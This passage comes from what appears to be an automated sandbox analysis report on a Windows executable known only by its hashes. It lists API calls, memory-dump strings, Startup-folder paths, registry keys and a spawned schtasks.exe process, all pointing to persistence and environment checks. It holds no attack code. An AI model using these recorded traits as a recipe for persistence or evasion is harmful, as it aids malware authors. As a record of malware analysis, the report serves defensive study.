with a parameter FlsSetValue (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter atexit (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter AddVectoredContinueHandler (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter LoadLibraryExA (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter NtWaitForSingleObject (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter RtlGetCurrentPeb (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter RtlGetNtVersionNumbers (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter timeBeginPeriod (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter timeEndPeriod (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter WSAGetOverlappedResult (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter wine_get_version (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter PowerRegisterSuspendResumeNotification (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter WSAStartup (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter SetFileCompletionNotificationModes (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter WSAEnumProtocolsW (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetCommandLineW (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter WTSGetActiveConsoleSessionId (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter WTSQuerySessionInformationW (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter WinStationQueryInformationW (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter LookupAccountSidW (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter LookupAccountSidLocalW (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter RpcStringBindingComposeW (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter RpcBindingFromStringBindingW (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter RpcStringFreeW (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter RpcBindingSetAuthInfoExW (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter NdrClientCall2 (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter RpcBindingFree (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter LookupAccountNameW (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter LookupAccountNameLocalW (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter SetCurrentDirectoryW (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter CLSIDFromProgID (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter RegCreateKeyExW (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter EtwRegisterTraceGuidsW (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetUserDefaultLCID (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter SxsOleAut32RedirectTypeLibrary (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter RegOpenKeyW (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter RegEnumKeyW (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter RegQueryValueW (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter SxsOleAut32MapConfiguredClsidToReferenceClsid (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter VariantInit (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter ResolveDelayLoadedAPI (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter CoCreateFreeThreadedMarshaler (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetSystemDefaultLocaleName (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter SysAllocStringLen (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter SysFreeString (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter VariantClear (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter SysStringLen (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter EtwUnregisterTraceGuids (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter SetFilePointerEx (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter Process32FirstW (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter Process32NextW (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter OpenSCManagerW (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter OpenServiceW (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter CloseServiceHandle (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter QueryServiceStatusEx (UID: 00000000-00003348) "schtasks.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00002732) "schtasks.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00002732) "schtasks.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00002732) "schtasks.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002732) "schtasks.exe" called "GetProcAddress" with a parameter LookupAccountSidLocalW (UID: 00000000-00002732) "schtasks.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00002732)44:T412,Found reference to API "CreateDirectoryW" (Indicator: "CreateDirectory"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "CreateDirectoryA" (Indicator: "CreateDirectory"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "FtpCreateDirectoryW" (Indicator: "CreateDirectory"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "CreateDirectoryW" (Indicator: "CreateDirectory"; Source: "00000000-00002856.00000000.80757.00408000.00000002.mdmp") Found reference to API "FtpCreateDirectoryW" (Indicator: "CreateDirectory"; Source: "00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp") Found reference to API "CreateDirectoryA" (Indicator: "CreateDirectory"; Source: "00000000-00004224.00000000.80779.00433000.00000002.mdmp")45:T6a5,Found reference to API "CreateFileMappingW" (Indicator: "CreateFile"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "CreateFileW" (Indicator: "CreateFile"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "CreateFileA" (Indicator: "CreateFile"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00002512.00000001.82002.0B480000.00000004.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00002856.00000000.80757.00408000.00000002.mdmp, 00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00004224.00000000.80779.00433000.00000002.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp, 00000000-00004500.00000001.82966.708F9000.00000002.mdmp, 00000000-00004500.00000001.82966.70BFA000.00000002.mdmp, 00000000-00004500.00000001.82966.70C94000.00000002.mdmp")46:T5ce,Found reference to API "ResumeThread" (Indicator: "ResumeThread"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "OpenThreadToken" (Indicator: "OpenThread"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00002856.00000000.80757.00408000.00000002.mdmp, 00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp") Found reference to API "CreateThread Error" (Indicator: "CreateThread"; Source: "00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp, 00000000-00004500.00000001.82966.708F9000.00000002.mdmp, 00000000-00004500.00000001.82966.70B3A000.00000004.mdmp")47:T63f,Found reference to API "GetLastError" (Indicator: "GetLastError"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "SetLastError" (Indicator: "SetLastError"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00002856.00000000.80757.00408000.00000002.mdmp, 00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00004224.00000000.80779.00433000.00000002.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00004224.00000000.80779.00433000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp, 00000000-00004500.00000001.82966.70891000.00000020.mdmp, 00000000-00004500.00000001.82966.708F9000.00000002.mdmp, 00000000-00004500.00000001.82966.70B3A000.00000004.mdmp, 00000000-00004500.00000001.82966.70BFA000.00000002.mdmp, 00000000-00004500.00000001.82966.70C94000.00000002.mdmp, 00000000-00004500.00000002.84888.70E58000.00000002.mdmp") Found reference to API "HRESULT_FROM_WIN32(GetLastError())" (Indicator: "GetLastError"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp")48:T417,Found reference to API "ShowWindow" (Indicator: "ShowWindow"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetWindowThreadProcessId" (Indicator: "GetWindowThreadProcessId"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetShellWindow" (Indicator: "GetShellWindow"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "ShowWindow" (Indicator: "ShowWindow"; Source: "00000000-00002856.00000000.80757.00408000.00000002.mdmp, 00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp") Found reference to API "ShowWindow" (Indicator: "ShowWindow"; Source: "00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp, 00000000-00004500.00000002.84888.70E58000.00000002.mdmp")49:Tebc,":\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: ":\users\hapubws\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00000640.00000001.80757.00260000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: "c:\users\hapubws\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00000640.00000001.80757.00260000.00000004.mdmp ":\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: ":\programdata\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00000640.00000001.80757.00260000.00000004.mdmp "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: "c:\programdata\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00000640.00000001.80757.00260000.00000004.mdmp ":\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: ":\users\hapubws\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00002856.00000000.80757.00220000.00000004.mdmp 00000000-00002856.00000001.82683.00220000.00000004.mdmp 00000000-00002856.00000002.82814.00220000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: "c:\users\hapubws\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00002856.00000000.80757.00220000.00000004.mdmp 00000000-00002856.00000001.82683.00220000.00000004.mdmp 00000000-00002856.00000001.82683.01470000.00000002.mdmp 00000000-00002856.00000002.82814.00220000.00000004.mdmp ":\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: ":\programdata\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00002856.00000000.80757.00220000.00000004.mdmp 00000000-00002856.00000001.82683.00220000.00000004.mdmp 00000000-00002856.00000002.82814.00220000.00000004.mdmp "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: "c:\programdata\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00002856.00000000.80757.00220000.00000004.mdmp 00000000-00002856.00000001.82683.00220000.00000004.mdmp 00000000-00002856.00000001.82683.01470000.00000002.mdmp 00000000-00002856.00000002.82814.00220000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: "c:\users\hapubws\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00004500.00000001.82966.002F0000.00000004.mdmp 00000000-00004500.00000002.84888.002F0000.00000004.mdmp ":\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: ":\users\hapubws\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00004500.00000001.82966.002F0000.00000004.mdmp 00000000-00004500.00000002.84888.002F0000.00000004.mdmp ":\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: ":\programdata\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00004500.00000001.82966.002F0000.00000004.mdmp 00000000-00004500.00000002.84888.002F0000.00000004.mdmp "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: "c:\programdata\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00004500.00000001.82966.002F0000.00000004.mdmp 00000000-00004500.00000002.84888.002F0000.00000004.mdmp4a:T1119,"o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00000640.00000000.80239.00260000.00000004.mdmp 00000000-00000640.00000001.80757.00260000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00000640.00000000.80239.00260000.00000004.mdmp 00000000-00000640.00000001.80757.00260000.00000004.mdmp "EGISTRY\USER\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00000640.00000001.80757.00260000.00000004.mdmp "-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\TestApp" in Source: 00000000-00002512.00000001.82002.0B480000.00000004.mdmp "S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\483f7b2a" in Source: 00000000-00002512.00000001.82002.0B480000.00000004.mdmp "HKEY_USERS\S-1-5-21-2092356043-4041700817-663127204-1001" in Source: 00000000-00002512.00000001.82002.0B480000.00000004.mdmp "HKEY_USERS\" in Source: 00000000-00002512.00000001.82002.0B480000.00000004.mdmp "S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\TestApp" in Source: 00000000-00002512.00000001.82002.0B480000.00000004.mdmp "!This program cannoHKEY_USERS\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\TestApp" in Source: 00000000-00002512.00000001.82002.0B480000.00000004.mdmp "HKEY_USERS\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\483f7b2a" in Source: 00000000-00002512.00000001.82002.0B480000.00000004.mdmp "SOFTWARE\BroomCleaner" in Source: 00000000-00002856.00000000.80757.00220000.00000004.mdmp 00000000-00002856.00000001.82683.00220000.00000004.mdmp 00000000-00002856.00000002.82814.00220000.00000004.mdmp 00000000-00002856.00000002.82814.0040A000.00000004.mdmp "REGISTRY\USER\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00002856.00000000.80757.00220000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion" in Source: 00000000-00002856.00000000.80757.00408000.00000002.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00002856.00000001.82683.00220000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00002856.00000001.82683.00220000.00000004.mdmp 00000000-00002856.00000002.82814.00220000.00000004.mdmp "7204-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00004500.00000001.82966.002F0000.00000004.mdmp 00000000-00004500.00000002.84888.002F0000.00000004.mdmp "oftware\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify" in Source: 00000000-00004500.00000001.82966.002F0000.00000004.mdmp 00000000-00004500.00000002.84888.002F0000.00000004.mdmp "Software\Microsoft\OneDrive" in Source: 00000000-00004500.00000001.82966.70891000.00000020.mdmp 00000000-00004500.00000002.84888.70E41000.00000020.mdmp "Software\Microsoft\Windows Live\Common" in Source: 00000000-00004500.00000001.82966.70891000.00000020.mdmp 00000000-00004500.00000002.84888.70E41000.00000020.mdmp "Software\Microsoft\Windows Live\Common\Activations\%d" in Source: 00000000-00004500.00000001.82966.70891000.00000020.mdmp "Software\Policies\Microsoft\SQMClient" in Source: 00000000-00004500.00000001.82966.70891000.00000020.mdmp "Software\Microsoft\SQMClient" in Source: 00000000-00004500.00000001.82966.70891000.00000020.mdmp "Software\Microsoft\SQMClient\%s\AdaptiveSqm\ManifestInfo" in Source: 00000000-00004500.00000001.82966.70891000.00000020.mdmp "Software\Microsoft\SQMClient\%s\AdaptiveSqm\Throttling" in Source: 00000000-00004500.00000001.82966.70891000.00000020.mdmp "SOFTWARE\Microsoft\Reliability Analysis\RAC" in Source: 00000000-00004500.00000001.82966.70891000.00000020.mdmp "Software\Microsoft\SQMClient\Windows" in Source: 00000000-00004500.00000001.82966.70891000.00000020.mdmp "Software\Policies\Microsoft\SQMClient\Windows" in Source: 00000000-00004500.00000001.82966.70891000.00000020.mdmp "Software\Microsoft\SQMClient\UploadUrlMap" in Source: 00000000-00004500.00000001.82966.70891000.00000020.mdmp "SOFTWARE\Microsoft\Cryptography" in Source: 00000000-00004500.00000001.82966.70891000.00000020.mdmp4b:T6f7,"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" failed to load missing module "api-ms-win-core-quirks-l1-1-0.dll" - [base:0; Status:c0000135] "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" failed to load missing module "%WINDIR%\system32\combase.dll" - [base:0; Status:c0000135] "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135]4c:T1575,"o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00000640.00000000.80239.00260000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00000640.00000000.80239.00260000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00000640.00000001.80757.00260000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00000640.00000001.80757.00260000.00000004.mdmp "EGISTRY\USER\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 